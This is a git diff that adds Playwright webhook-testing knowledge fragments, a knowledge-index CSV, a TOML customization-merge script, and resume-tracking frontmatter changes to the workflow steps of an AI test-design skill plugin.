@@ -0,0 +1,130 @@
+# WebhookTimeoutError and Debugging
+
+## Principle
+
+`WebhookTimeoutError` is thrown when `waitFor` or `waitForCount` does not find a matching webhook within the configured timeout. It carries a snapshot of received webhooks from the last polling cycle — truncated to the last 10 entries — so you can inspect what arrived vs. what was expected. The full count of all received webhooks is available in `totalReceived`.
+
+## Error Properties
+
+```typescript
+class WebhookTimeoutError extends Error {
+  readonly name = 'WebhookTimeoutError';
+  readonly templateName: string; // from webhookTemplate('...')
+  readonly timeoutMs: number; // the timeout that was exceeded
+  readonly totalReceived: number; // total webhooks seen in polling window
+  readonly receivedWebhooks: ReceivedWebhook[]; // last ≤10 received webhooks
+  readonly matcherDetails: string[]; // human-readable matcher summary
+
+  toJSON(): Record<string, unknown>; // serialize all fields for CI logs
+}
+```
+
+`receivedWebhooks` is capped at the last 10 entries. If more than 10 webhooks arrived, `totalReceived` shows the full count but `receivedWebhooks` contains only the most recent 10.
+
+## Reading the Error
+
+The error message format:
+
+```
+Webhook "movie.deleted" not received within 15000ms.
+3 webhook(s) were received but none matched.
+Matchers: field(event="movie.deleted"), field(data.id=42).
+```
+
+Use `matcherDetails` to confirm the matchers were configured correctly. Use `receivedWebhooks` to inspect actual payloads — compare field paths and values against what the matchers expect.
+
+## Validating the Error Shape in Tests
+
+```typescript
+import { WebhookTimeoutError, webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+const neverArrivingTemplate = webhookTemplate('never.arrives')
+  .matchField('event', 'event.that.never.happens')
+  .withTimeout(500)
+  .withInterval(100)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(neverArrivingTemplate)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.templateName).toBe('never.arrives');
+expect(error.timeoutMs).toBe(500);
+expect(error.toJSON()).toMatchObject({
+  name: 'WebhookTimeoutError',
+  templateName: 'never.arrives',
+  timeoutMs: 500,
+  totalReceived: expect.any(Number),
+  matcherDetails: ['field(event="event.that.never.happens")'],
+});
+```
+
+## Inspecting receivedWebhooks
+
+When a webhook arrives but doesn't match, `receivedWebhooks` shows you what actually came in:
+
+```typescript
+// Wait for create webhook first — puts it in the journal
+await webhookRegistry.waitFor(movieCreated(movieId));
+
+// Wait for delete webhook that will never arrive — no delete was called
+const undeliveredDelete = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.deleted.not.delivered')
+  .matchField('event', 'movie.deleted')
+  .matchField('data.id', movieId)
+  .withTimeout(2_000)
+  .withInterval(200)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(undeliveredDelete)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.totalReceived).toBeGreaterThanOrEqual(1);
+
+// The movie.created webhook that did arrive is visible in the error
+const createdWebhook = error.receivedWebhooks.find((w) => (w.body as { data: { id: number } }).data.id === movieId);
+expect(createdWebhook).toBeDefined();
+expect((createdWebhook!.body as { event: string }).event).toBe('movie.created');
+```
+
+## Common Failure Patterns
+
+| What you see                           | Likely cause                                         | Fix                                                               |
+| -------------------------------------- | ---------------------------------------------------- | ----------------------------------------------------------------- |
+| `totalReceived: 0`                     | Webhook not delivered; wrong URL or event not firing | Check application event publishing and webhook routing            |
+| `totalReceived > 0`, none match        | Webhooks arriving but matchers not matching          | Inspect `receivedWebhooks[0].body` — check field paths and values |
+| `matcherDetails` shows wrong path      | Template factory misconfigured                       | Print `error.toJSON()` and compare paths against actual payload   |
+| `totalReceived: 0` with `matched-only` | Another worker claimed and deleted the webhook first | Ensure template is scoped by entity ID                            |
+| Parse error in body                    | Webhook body is not valid JSON                       | Check `receivedWebhooks[n].parseError` and `rawBody`              |
+
+## matcherDetails Format per Matcher Type
+
+| Matcher                         | matcherDetails string |
+| ------------------------------- | --------------------- |
+| `matchField('event', 'x')`      | `field(event="x")`    |
+| `matchPartial({ a: 1 })`        | `partial({"a":1})`    |
+| `matchPredicate('my desc', fn)` | `predicate(my desc)`  |
+
+## Import
+
+```typescript
+import { WebhookTimeoutError } from '@seontechnologies/playwright-utils/webhook';
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — matcherDetails string format per matcher type
+- `webhook-waiting-querying.md` — waitFor and waitForCount throw this error on timeout
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-waiting-querying.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-waiting-querying.md
new file mode 100644
index 0000000..7474791
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-waiting-querying.md
@@ -0,0 +1,167 @@
+# Webhook Waiting and Querying Patterns
+
+## Principle
+
+`waitFor` and `waitForCount` poll until matching webhooks arrive; `getReceived` queries without waiting. Always drain preceding events before asserting on subsequent ones. Scope templates by entity ID to prevent parallel worker cross-contamination.
+
+## Pattern Examples
+
+### Example 1: waitFor — single webhook
+
+Poll until the first webhook matching the template arrives. Returns the typed `ReceivedWebhook<T>`.
+
+```typescript
+const webhook = await webhookRegistry.waitFor(movieCreated(movieId));
+
+expect(webhook.body).toMatchObject({
+  event: 'movie.created',
+  timestamp: expect.any(String),
+  data: {
+    id: movieId,
+    name: movie.name,
+    year: movie.year,
+    rating: movie.rating,
+  },
+});
+```
+
+### Example 2: The drain pattern — sequential events
+
+When testing a downstream event (e.g. deletion), always `waitFor` the preceding event first. Without the drain, the create webhook may remain in the journal and interfere with cleanup or subsequent polling.
+
+```typescript
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  await log.step('Drain the create webhook before testing the delete path');
+  await webhookRegistry.waitFor(movieCreated(movieId)); // drain — consume the create event
+
+  await deleteMovie(authToken, movieId);
+
+  await log.step('Wait for the delete webhook');
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+**Why drain?** If you skip the drain and go directly to `waitFor(movieDeleted)`, the create webhook is already in the journal. The delete webhook may arrive and be cleaned up by another test before your poll reaches it. Draining makes the event order explicit and removes the ambiguity.
+
+### Example 3: waitForCount — collect N webhooks concurrently
+
+Collect exactly N matching webhooks. Use `matchPredicate` with all IDs to prevent cross-worker contamination when running `fullyParallel: true`:
+
+```typescript
+await log.step('Create two movies concurrently');
+const [{ body: res1 }, { body: res2 }] = await Promise.all([
+  addMovie(authToken, generateMovieWithoutId()),
+  addMovie(authToken, generateMovieWithoutId()),
+]);
+
+const [id1, id2] = [res1.data.id, res2.data.id];
+
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+
+const webhooks = await webhookRegistry.waitForCount(batchTemplate, 2);
+
+expect(webhooks).toHaveLength(2);
+const receivedIds = webhooks.map((w) => w.body.data.id);
+expect(receivedIds).toContain(id1);
+expect(receivedIds).toContain(id2);
+expect(new Set(receivedIds).size).toBe(2); // guard against the same ID delivered twice
+```
+
+### Example 4: getReceived — query without waiting
+
+Query the journal without polling. Useful for asserting presence of webhooks after a `waitFor`, or for method/URL filtering.
+
+```typescript
+await webhookRegistry.waitFor(movieCreated(movieId)); // wait first
+
+const all = await webhookRegistry.getReceived();
+expect(all.length).toBeGreaterThanOrEqual(1);
+
+// Method filter — all sample-app webhooks are delivered via POST
+const postOnly = await webhookRegistry.getReceived({ method: 'POST' });
+expect(postOnly.every((w) => w.method === 'POST')).toBe(true);
+
+// URL pattern filter — match the webhooks endpoint path
+const byUrl = await webhookRegistry.getReceived({ urlPattern: '/webhooks' });
+expect(byUrl.every((w) => w.url.includes('/webhooks'))).toBe(true);
+```
+
+`getReceived` accepts `WebhookQueryFilter`:
+
+```typescript
+type WebhookQueryFilter = {
+  urlPattern?: string; // glob or regex string
+  method?: string; // HTTP method filter
+  since?: Date; // only return webhooks after this timestamp
+};
+```
+
+Note: `getReceived` is a direct passthrough to the provider — it does **not** automatically apply the `startedAt` filter. Only `waitFor` and `waitForCount` apply the since-filter internally during polling. If you need to scope a manual `getReceived` call to this test's time window, record your own timestamp before the action under test and pass `{ since: myTimestamp }` explicitly.
+
+## Parallel Worker Safety
+
+Always scope template factories to the entity's ID:
+
+```typescript
+// ✅ Scoped — only matches webhooks for this specific movie
+const movieCreated = (movieId: number) =>
+  webhookTemplate('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId) // scoped by ID
+    .build();
+
+// ❌ Unscoped — will match any movie.created from any parallel worker
+const movieCreatedUnscoped = webhookTemplate('movie.created').matchField('event', 'movie.created').build();
+```
+
+## Method Summary
+
+| Method                      | Returns                         | Description                                                                                       |
+| --------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------- |
+| `waitFor(template)`         | `Promise<ReceivedWebhook<T>>`   | Poll until first match; throws `WebhookTimeoutError` on timeout                                   |
+| `waitForCount(template, n)` | `Promise<ReceivedWebhook<T>[]>` | Poll until N matches; throws `WebhookTimeoutError` on timeout                                     |
+| `getReceived(filter?)`      | `Promise<ReceivedWebhook[]>`    | Direct passthrough to provider — no automatic since-filter; pass `{ since }` explicitly if needed |
+| `resetJournal()`            | `Promise<void>`                 | Wipe the entire journal and clear matchedIds                                                      |
+| `cleanup()`                 | `Promise<void>`                 | Delete matched webhooks (`matched-only`) or reset journal (`full-reset`)                          |
+
+## Anti-Patterns
+
+**DON'T skip the drain for sequential events:**
+
+```typescript
+// Bad: direct jump to delete webhook — create webhook pollutes the journal
+await addMovie(authToken, movie);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+**DO drain preceding events:**
+
+```typescript
+// Good: drain create first, then wait for delete
+await webhookRegistry.waitFor(movieCreated(movieId)); // drain
+await deleteMovie(authToken, movieId);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — How to build templates
+- `webhook-timeout-error.md` — What to do when waitFor times out
+- `recurse.md` — The polling primitive used internally by the registry
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/tea-index.csv b/plugins/bmad/skills/bmad-testarch-test-design/resources/tea-index.csv
new file mode 100644
index 0000000..ebd3200
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/tea-index.csv
@@ -0,0 +1,50 @@
+id,name,description,tags,tier,fragment_file
+fixture-architecture,Fixture Architecture,"Composable fixture patterns (pure function → fixture → merge) and reuse rules","fixtures,architecture,playwright,cypress",core,knowledge/fixture-architecture.md
+network-first,Network-First Safeguards,"Intercept-before-navigate workflow, HAR capture, deterministic waits, edge mocking","network,stability,playwright,cypress,ui",core,knowledge/network-first.md
+data-factories,Data Factories and API Setup,"Factories with overrides, API seeding, cleanup discipline","data,factories,setup,api,backend,seeding",core,knowledge/data-factories.md
+component-tdd,Component TDD Loop,"Red→green→refactor workflow, provider isolation, accessibility assertions","component-testing,tdd,ui",extended,knowledge/component-tdd.md
+playwright-config,Playwright Config Guardrails,"Environment switching, timeout standards, artifact outputs","playwright,config,env",extended,knowledge/playwright-config.md
+ci-burn-in,CI and Burn-In Strategy,"Staged jobs, shard orchestration, burn-in loops, artifact policy","ci,automation,flakiness",extended,knowledge/ci-burn-in.md
+selective-testing,Selective Test Execution,"Tag/grep usage, spec filters, diff-based runs, promotion rules","risk-based,selection,strategy",extended,knowledge/selective-testing.md
+feature-flags,Feature Flag Governance,"Enum management, targeting helpers, cleanup, release checklists","feature-flags,governance,launchdarkly",specialized,knowledge/feature-flags.md
+contract-testing,Contract Testing Essentials,"Pact publishing, provider verification, resilience coverage","contract-testing,pact,api,backend,microservices,service-contract",specialized,knowledge/contract-testing.md
+email-auth,Email Authentication Testing,"Magic link extraction, state preservation, caching, negative flows","email-authentication,security,workflow",specialized,knowledge/email-auth.md
+error-handling,Error Handling Checks,"Scoped exception handling, retry validation, telemetry logging","resilience,error-handling,stability,api,backend",extended,knowledge/error-handling.md
+visual-debugging,Visual Debugging Toolkit,"Trace viewer usage, artifact expectations, accessibility integration","debugging,dx,tooling,ui",specialized,knowledge/visual-debugging.md
+risk-governance,Risk Governance,"Scoring matrix, category ownership, gate decision rules","risk,governance,gates",core,knowledge/risk-governance.md
+probability-impact,Probability and Impact Scale,"Shared definitions for scoring matrix and gate thresholds","risk,scoring,scale",core,knowledge/probability-impact.md
+test-quality,Test Quality Definition of Done,"Execution limits, isolation rules, green criteria","quality,definition-of-done,tests",core,knowledge/test-quality.md
+nfr-criteria,NFR Review Criteria,"Security, performance, reliability, maintainability status definitions","nfr,assessment,quality",extended,knowledge/nfr-criteria.md
+test-levels,Test Levels Framework,"Guidelines for choosing unit, integration, or end-to-end coverage","testing,levels,selection,api,backend,ui",core,knowledge/test-levels-framework.md
+test-priorities,Test Priorities Matrix,"P0–P3 criteria, coverage targets, execution ordering","testing,prioritization,risk",core,knowledge/test-priorities-matrix.md
+test-healing-patterns,Test Healing Patterns,"Common failure patterns and automated fixes","healing,debugging,patterns",core,knowledge/test-healing-patterns.md
+selector-resilience,Selector Resilience,"Robust selector strategies and debugging techniques","selectors,locators,debugging,ui",core,knowledge/selector-resilience.md
+timing-debugging,Timing Debugging,"Race condition identification and deterministic wait fixes","timing,async,debugging",extended,knowledge/timing-debugging.md
+overview,Playwright Utils Overview,"Installation, design principles, fixture patterns for API and UI testing","playwright-utils,fixtures,api,backend,ui",core,knowledge/overview.md
+api-request,API Request,"Typed HTTP client, schema validation, retry logic, operation-based overload for API and service testing","api,backend,service-testing,api-testing,playwright-utils,openapi,codegen,operation",core,knowledge/api-request.md
+network-recorder,Network Recorder,"HAR record/playback, CRUD detection for offline UI testing","network,playwright-utils,ui,har",extended,knowledge/network-recorder.md
+auth-session,Auth Session,"Token persistence, multi-user, API and browser authentication","auth,playwright-utils,api,backend,jwt,token",core,knowledge/auth-session.md
+intercept-network-call,Intercept Network Call,"Network spy/stub, JSON parsing for UI tests","network,playwright-utils,ui",extended,knowledge/intercept-network-call.md
+recurse,Recurse Polling,"Async polling for API responses, background jobs, eventual consistency","polling,playwright-utils,api,backend,async,eventual-consistency",extended,knowledge/recurse.md
+log,Log Utility,"Report logging, structured output for API and UI tests","logging,playwright-utils,api,ui",extended,knowledge/log.md
+file-utils,File Utilities,"CSV/XLSX/PDF/ZIP validation for API exports and UI downloads","files,playwright-utils,api,backend,ui",extended,knowledge/file-utils.md
+burn-in,Burn-in Runner,"Smart test selection, git diff for CI optimization","ci,playwright-utils",extended,knowledge/burn-in.md
+network-error-monitor,Network Error Monitor,"HTTP 4xx/5xx detection for UI tests","monitoring,playwright-utils,ui",extended,knowledge/network-error-monitor.md
+fixtures-composition,Fixtures Composition,"mergeTests composition patterns for combining utilities","fixtures,playwright-utils",extended,knowledge/fixtures-composition.md
+api-testing-patterns,API Testing Patterns,"Pure API test patterns without browser: service testing, microservices, GraphQL","api,backend,service-testing,api-testing,microservices,graphql,no-browser",specialized,knowledge/api-testing-patterns.md
+pactjs-utils-overview,Pact.js Utils Overview,"Installation, contract testing flows, utility table (createProviderState, toJsonMap, setJsonContent, setJsonBody)","pactjs-utils,contract-testing,pact,api,backend,microservices",specialized,knowledge/pactjs-utils-overview.md
+pactjs-utils-consumer-helpers,Pact.js Utils Consumer Helpers,"createProviderState, toJsonMap, setJsonContent, setJsonBody for consumer-side Pact helpers","pactjs-utils,consumer,contract-testing,pact,api",specialized,knowledge/pactjs-utils-consumer-helpers.md
+pactjs-utils-provider-verifier,Pact.js Utils Provider Verifier,"buildVerifierOptions, buildMessageVerifierOptions for provider verification","pactjs-utils,provider,contract-testing,pact,api,backend,ci",specialized,knowledge/pactjs-utils-provider-verifier.md
+pactjs-utils-request-filter,Pact.js Utils Request Filter,"createRequestFilter, noOpRequestFilter for auth injection","pactjs-utils,auth,contract-testing,pact",specialized,knowledge/pactjs-utils-request-filter.md
+pact-mcp,Pact MCP Server,"SmartBear MCP for PactFlow: generate tests, review, can-i-deploy, provider states","pact,mcp,pactflow,contract-testing,broker",specialized,knowledge/pact-mcp.md
+pact-consumer-framework-setup,Pact Consumer CDC Framework Setup,"Directory structure, vitest config, shell scripts, CI workflow, PactV4 patterns for consumer CDC","pactjs-utils,consumer,contract-testing,pact,ci,framework,setup,vitest,shell-scripts",specialized,knowledge/pact-consumer-framework-setup.md
+adr-quality-readiness-checklist,ADR Quality Readiness Checklist,"8-category 29-criteria framework for ADR testability and NFR assessment","nfr,testability,adr,quality,assessment,checklist",extended,knowledge/adr-quality-readiness-checklist.md
+playwright-cli,Playwright CLI,"Token-efficient CLI for AI coding agents: element refs, sessions, snapshots, trace analysis, debug=cli autonomous investigation","cli,browser,agent,automation,snapshot,trace,debug",core,knowledge/playwright-cli.md
+pact-consumer-di,Pact Consumer DI Pattern,"Dependency injection pattern for Pact consumer tests — call actual source code instead of raw fetch by injecting mock server URL via optional baseUrl in context type","contract-testing,pact,consumer,dependency-injection,api,backend,architecture",extended,knowledge/pact-consumer-di.md
+webhook-fundamentals,Webhook Testing Fundamentals,"Why webhook delivery is hard: async, parallel pollution, opaque timeouts, cleanup drift. playwright-utils approach with polling, typed matchers, rich errors, startedAt isolation","webhook,async,playwright-utils,event-driven,eventually-consistent",core,knowledge/webhook-testing-fundamentals.md
+webhook-setup,Webhook Module Setup,"Fixture wiring for WireMock/MockServer/Mockoon providers, matched-only vs full-reset cleanup strategy, fullyParallel race condition fix","webhook,fixtures,playwright-utils,wiremock,mockserver,mockoon,setup",core,knowledge/webhook-module-setup.md
+webhook-matchers,Webhook Template Matchers,"matchField (dot-path exact), matchPartial (deep subset), matchPredicate (arbitrary fn), AND semantics, template factories, clone, withTimeout, withInterval","webhook,matchers,playwright-utils,templates,patterns",core,knowledge/webhook-template-matchers.md
+webhook-waiting,Webhook Waiting and Querying,"waitFor, waitForCount, getReceived, drain pattern for sequential events, parallel worker safety via ID-scoped templates","webhook,async,playwright-utils,polling,patterns,eventually-consistent",core,knowledge/webhook-waiting-querying.md
+webhook-timeout-error,WebhookTimeoutError Debugging,"templateName, timeoutMs, totalReceived, receivedWebhooks, matcherDetails, toJSON — inspect what arrived vs what was expected","webhook,debugging,errors,playwright-utils",extended,knowledge/webhook-timeout-error.md
+webhook-providers,Webhook Provider Patterns,"WireMock (deleteById supported), MockServer (deleteById no-op), Mockoon (deleteById no-op, 100-entry limit), custom WebhookProvider interface","webhook,providers,playwright-utils,wiremock,mockserver,mockoon",extended,knowledge/webhook-providers.md
+webhook-risk,Webhook Testing Risk Guidance,"When webhook tests are required, P2×I3 default risk score, complete test checklist, failure patterns and mitigations, TA assessment checklist","webhook,risk,assessment,event-driven,async,playwright-utils,governance",core,knowledge/webhook-risk-guidance.md
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/scripts/resolve-customization.py b/plugins/bmad/skills/bmad-testarch-test-design/scripts/resolve-customization.py
new file mode 100755
index 0000000..d9994a5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/scripts/resolve-customization.py
@@ -0,0 +1,183 @@
+#!/usr/bin/env python3
+# /// script
+# requires-python = ">=3.11"
+# ///
+"""Resolve customization for a BMad skill using three-layer TOML merge.
+
+Reads customization from three layers (highest priority first):
+  1. {project-root}/_bmad/customizations/{name}.user.toml  (personal, gitignored)
+  2. {project-root}/_bmad/customizations/{name}.toml        (team/org, committed)
+  3. ./customize.toml                                       (skill defaults)
+
+Outputs merged JSON to stdout. Errors go to stderr.
+
+Usage:
+  python ./scripts/resolve-customization.py {skill-name}
+  python ./scripts/resolve-customization.py {skill-name} --key persona
+  python ./scripts/resolve-customization.py {skill-name} --key persona.displayName --key inject
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+import tomllib
+from pathlib import Path
+from typing import Any
+
+
+def find_project_root(start: Path) -> Path | None:
+    """Walk up from *start* looking for a directory containing ``_bmad/`` or ``.git``."""
+    current = start.resolve()
+    while True:
+        if (current / "_bmad").is_dir() or (current / ".git").exists():
+            return current
+        parent = current.parent
+        if parent == current:
+            return None
+        current = parent
+
+
+def load_toml(path: Path) -> dict[str, Any]:
+    """Return parsed TOML or empty dict if the file doesn't exist."""
+    if not path.is_file():
+        return {}
+    try:
+        with open(path, "rb") as f:
+            return tomllib.load(f)
+    except (tomllib.TOMLDecodeError, OSError) as exc:
+        print(f"warning: failed to parse {path}: {exc}", file=sys.stderr)
+        return {}
+
+
+# ---------------------------------------------------------------------------
+# Merge helpers
+# ---------------------------------------------------------------------------
+
+def _is_menu_array(value: Any) -> bool:
+    """True when *value* is a non-empty list where ALL items are dicts with a ``code`` key."""
+    return (
+        isinstance(value, list)
+        and len(value) > 0
+        and all(isinstance(item, dict) and "code" in item for item in value)
+    )
+
+
+def merge_menu(base: list[dict], override: list[dict]) -> list[dict]:
+    """Merge-by-code: matching codes replace; new codes append."""
+    result_by_code: dict[str, dict] = {item["code"]: dict(item) for item in base if "code" in item}
+    for item in override:
+        if "code" not in item:
+            print(f"warning: menu item missing 'code' key, skipping: {item}", file=sys.stderr)
+            continue
+        result_by_code[item["code"]] = dict(item)
+    return list(result_by_code.values())
+
+
+def deep_merge(base: dict[str, Any], override: dict[str, Any]) -> dict[str, Any]:
+    """Recursively merge *override* into *base*.
+
+    Rules:
+      - Tables (dicts): sparse override -- recurse, unmentioned keys kept.
+      - ``[[menu]]`` arrays (items with ``code`` key): merge-by-code.
+      - All other arrays: atomic replace.
+      - Scalars: override wins.
+    """
+    merged = dict(base)
+    for key, over_val in override.items():
+        base_val = merged.get(key)
+
+        if isinstance(over_val, dict) and isinstance(base_val, dict):
+            merged[key] = deep_merge(base_val, over_val)
+        elif _is_menu_array(over_val) and _is_menu_array(base_val):
+            merged[key] = merge_menu(base_val, over_val)  # type: ignore[arg-type]
+        else:
+            merged[key] = over_val
+
+    return merged
+
+
+# ---------------------------------------------------------------------------
+# Key extraction
+# ---------------------------------------------------------------------------
+
+def extract_key(data: dict[str, Any], dotted_key: str) -> Any:
+    """Retrieve a value by dotted path (e.g. ``persona.displayName``)."""
+    parts = dotted_key.split(".")
+    current: Any = data
+    for part in parts:
+        if isinstance(current, dict) and part in current:
+            current = current[part]
+        else:
+            return None
+    return current
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Resolve BMad skill customization (three-layer TOML merge).",
+        epilog=(
+            "Resolution priority: user.toml > team.toml > skill defaults.\n"
+            "Output is JSON. Use --key to request specific fields (JIT resolution)."
+        ),
+    )
+    parser.add_argument(
+        "skill_name",
+        help="Skill identifier (e.g. bmad-agent-pm, bmad-product-brief)",
+    )
+    parser.add_argument(
+        "--key",
+        action="append",
+        dest="keys",
+        metavar="FIELD",
+        help="Dotted field path to resolve (repeatable). Omit for full dump.",
+    )
+    args = parser.parse_args()
+
+    # Locate the skill's own customize.toml (one level up from scripts/)
+    script_dir = Path(__file__).resolve().parent
+    skill_dir = script_dir.parent
+    defaults_path = skill_dir / "customize.toml"
+
+    # Locate project root for override files
+    project_root = find_project_root(Path.cwd())
+    if project_root is None:
+        # Try from the skill directory as fallback
+        project_root = find_project_root(skill_dir)
+
+    # Load three layers (lowest priority first, then merge upward)
+    defaults = load_toml(defaults_path)
+
+    team: dict[str, Any] = {}
+    user: dict[str, Any] = {}
+    if project_root is not None:
+        customizations_dir = project_root / "_bmad" / "customizations"
+        team = load_toml(customizations_dir / f"{args.skill_name}.toml")
+        user = load_toml(customizations_dir / f"{args.skill_name}.user.toml")
+
+    # Merge: defaults <- team <- user
+    merged = deep_merge(defaults, team)
+    merged = deep_merge(merged, user)
+
+    # Output
+    if args.keys:
+        result = {}
+        for key in args.keys:
+            value = extract_key(merged, key)
+            if value is not None:
+                result[key] = value
+        json.dump(result, sys.stdout, indent=2, ensure_ascii=False)
+    else:
+        json.dump(merged, sys.stdout, indent=2, ensure_ascii=False)
+
+    # Ensure trailing newline for clean terminal output
+    print()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-01-detect-mode.md b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-01-detect-mode.md
index 332d643..620fd62 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-01-detect-mode.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-01-detect-mode.md
@@ -106,8 +106,11 @@ State which mode you will use and why. Then proceed.
 
   ```yaml
   ---
+  workflowStatus: 'in-progress'
+  totalSteps: 5
   stepsCompleted: ['step-01-detect-mode']
   lastStep: 'step-01-detect-mode'
+  nextStep: '{nextStepFile}'
   lastSaved: '{date}'
   ---
   ```
@@ -115,8 +118,11 @@ State which mode you will use and why. Then proceed.
   Then write this step's output below the frontmatter.
 
 - **If `{outputFile}` already exists**, update:
+  - Set `workflowStatus: 'in-progress'`
+  - Set `totalSteps: 5`
   - Add `'step-01-detect-mode'` to `stepsCompleted` array (only if not already present)
   - Set `lastStep: 'step-01-detect-mode'`
+  - Set `nextStep: '{nextStepFile}'`
   - Set `lastSaved: '{date}'`
   - Append this step's output to the appropriate section of the document.
 
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-01b-resume.md b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-01b-resume.md
index f7e5a7c..b5e4c41 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-01b-resume.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-01b-resume.md
@@ -37,10 +37,21 @@ Resume an interrupted workflow by loading the existing output document, displayi
 
 Read `{outputFile}` and parse YAML frontmatter for:
 
+- `workflowStatus` — overall workflow state (`in-progress` or `completed`)
+- `totalSteps` — total number of create-mode workflow steps
 - `stepsCompleted` — array of completed step names
 - `lastStep` — last completed step name
+- `nextStep` — next step file to execute
 - `lastSaved` — timestamp of last save
 
+If `workflowStatus`, `totalSteps`, or `nextStep` are missing (legacy progress file), infer them from `lastStep` using this mapping:
+
+- `'step-01-detect-mode'` → `workflowStatus: 'in-progress'`, `totalSteps: 5`, `nextStep: './step-02-load-context.md'`
+- `'step-02-load-context'` → `workflowStatus: 'in-progress'`, `totalSteps: 5`, `nextStep: './step-03-risk-and-testability.md'`
+- `'step-03-risk-and-testability'` → `workflowStatus: 'in-progress'`, `totalSteps: 5`, `nextStep: './step-04-coverage-plan.md'`
+- `'step-04-coverage-plan'` → `workflowStatus: 'in-progress'`, `totalSteps: 5`, `nextStep: './step-05-generate-output.md'`
+- `'step-05-generate-output'` → `workflowStatus: 'completed'`, `totalSteps: 5`, `nextStep: ''`
+
 **If `{outputFile}` does not exist**, display:
 
 "⚠️ **No previous progress found.** There is no output document to resume from. Please use **[C] Create** to start a fresh workflow run."
@@ -55,30 +66,32 @@ Display:
 
 "📋 **Workflow Resume — Test Design and Risk Assessment**
 
+**Workflow status:** {workflowStatus}
 **Last saved:** {lastSaved}
-**Steps completed:** {stepsCompleted.length} of 5
-
-1. ✅/⬜ Detect Mode (step-01-detect-mode)
-2. ✅/⬜ Load Context (step-02-load-context)
-3. ✅/⬜ Risk & Testability (step-03-risk-and-testability)
-4. ✅/⬜ Coverage Plan (step-04-coverage-plan)
-5. ✅/⬜ Generate Output (step-05-generate-output)"
+**Last completed step:** {lastStep}
+**Next step:** {nextStep || 'None'}
+**Steps completed:** {stepsCompleted.length} of {totalSteps}"
 
 ---
 
 ### 3. Route to Next Step
 
-Based on `lastStep`, load the next incomplete step:
+If `workflowStatus` is `'completed'`, display:
+"✅ **All steps completed.** Use **[V] Validate** to review outputs or **[E] Edit** to make revisions."
+
+**THEN:** Halt.
+
+If `nextStep` is one of the known create-mode step files below, load it, read completely, and execute:
 
-- `'step-01-detect-mode'` → `./step-02-load-context.md`
-- `'step-02-load-context'` → `./step-03-risk-and-testability.md`
-- `'step-03-risk-and-testability'` → `./step-04-coverage-plan.md`
-- `'step-04-coverage-plan'` → `./step-05-generate-output.md`
-- `'step-05-generate-output'` → **Workflow already complete.** Display: "✅ **All steps completed.** Use **[V] Validate** to review outputs or **[E] Edit** to make revisions." Then halt.
+- `./step-02-load-context.md`
+- `./step-03-risk-and-testability.md`
+- `./step-04-coverage-plan.md`
+- `./step-05-generate-output.md`
 
-**If `lastStep` does not match any value above**, display: "⚠️ **Unknown progress state** (`lastStep`: {lastStep}). Please use **[C] Create** to start fresh." Then halt.
+**If `nextStep` is empty or does not match a known step file**, display:
+"⚠️ **Unknown progress state** (`workflowStatus`: {workflowStatus}, `lastStep`: {lastStep}, `nextStep`: {nextStep}). Please use **[C] Create** to start fresh."
 
-**Otherwise**, load the identified step file, read completely, and execute.
+**THEN:** Halt.
 
 The existing content in `{outputFile}` provides context from previously completed steps.
 
@@ -89,6 +102,7 @@ The existing content in `{outputFile}` provides context from previously complete
 ### ✅ SUCCESS:
 
 - Output document loaded and parsed correctly
+- Explicit or legacy progress state resolved correctly
 - Progress dashboard displayed accurately
 - Routed to correct next step
 
